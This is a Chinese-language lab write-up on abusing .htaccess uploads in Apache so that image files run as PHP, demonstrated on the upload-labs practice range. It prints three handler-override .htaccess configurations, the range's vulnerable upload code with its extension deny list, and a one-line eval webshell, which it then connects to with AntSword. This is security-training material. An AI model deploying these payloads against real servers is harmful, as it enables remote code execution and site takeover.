.htaccess文件解析漏洞
前言
htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
一、实验环境
- PHPstudy
- php5.6以下不带nts的版本
- upload-labs-master文件上传漏洞靶场
- 服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件
二、原理
上传覆盖.htaccess文件,重写解析规则,将上传的图片马以脚本方式解析
三、.htaccess文件内容
htaccess文件解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。
第一种、虽然好用,但是会误伤其他正常文件,易被发现
1 <IfModule mime_module> 2 AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行 3 SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行 4 </IfModule>
第二种、精确控制能被解析成php代码的文件,不容易被发现
只要文件名匹配到所定义的字符串,就会将该文件当作php解析
1 <FilesMatch "自定义.gif"> 2 SetHandler application/x-httpd-php #在当前目录下,如果匹配到自定义.gif文件,则被解析成PHP代码执行 3 AddHandler php5-script .gif #在当前目录下,如果匹配到自定义.gif文件,则被解析成PHP代码执行 4 </FilesMatch>
第三种、同1没太大区别
1 <IfModule mime_module> 2 AddType application/x-httpd-php .gif 3 </IfModule>
四、实验
1、选择upload-labs-master
的第四关
源代码如下:
1 $is_upload = false; 2 $msg = null; 3 if (isset($_POST['submit'])) { 4 if (file_exists(UPLOAD_PATH)) { 5 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini"); 6 $file_name = trim($_FILES['upload_file']['name']); 7 $file_name = deldot($file_name);//删除文件名末尾的点 8 $file_ext = strrchr($file_name, '.'); 9 $file_ext = strtolower($file_ext); //转换为小写 10 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA 11 $file_ext = trim($file_ext); //收尾去空 12 13 if (!in_array($file_ext, $deny_ext)) { 14 $temp_file = $_FILES['upload_file']['tmp_name']; 15 $img_path = UPLOAD_PATH.'/'.$file_name; 16 if (move_uploaded_file($temp_file, $img_path)) { 17 $is_upload = true; 18 } else { 19 $msg = '上传出错!'; 20 } 21 } else { 22 $msg = '此文件不允许上传!'; 23 } 24 } else { 25 $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; 26 } 27 }
2、上传写好的.htaccess
文件,这里我用的第一种方法,内容如下:
1 1 <IfModule mime_module> 2 2 AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行 3 3 SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行 4 4 </IfModule>
3、制作图片马
一句话木马文件
1 php @eval($_POST['pass']);
4、上传图片马
5、蚁剑连接
复制图片连接
五、总结
避免使用.htaccess文件有两个主要原因:
1、性能
如果AllowOverride启用了.htaccess文件,则Apache需要在每个目录中查找.htaccess文件。因此,无论是否真正用到,启用.htaccess都会导致性能的下降。且对于每一个请求,都需要读取一次.htaccess文件。
Apache必须在所有上级的目录中查找.htaccess文件,以使所有有效的指令都起作用,所以,如果请求/w1/w2/www中的页面,Apache必须查找以下文件:
/.htaccess、/w1/.htaccess、/w1/w2/.htaccess、/w1/w2/www/.htaccess
共要访问4个额外的文件,即使这些文件都不存在。而这可能仅仅由于允许根目录"/"使用.htaccess ,虽然这种情况并不多。
2、安全
允许用户自己修改服务器的配置,这可能会导致某些意想不到的修改,且如果给予用户较少的特权而不能满足其需要,则会带来额外的技术支持请求。所以,必须明确地告诉用户已经给予他们的权限,说明AllowOverride设置的值,并引导他们参阅相应的说明,以免日后生出许多麻烦。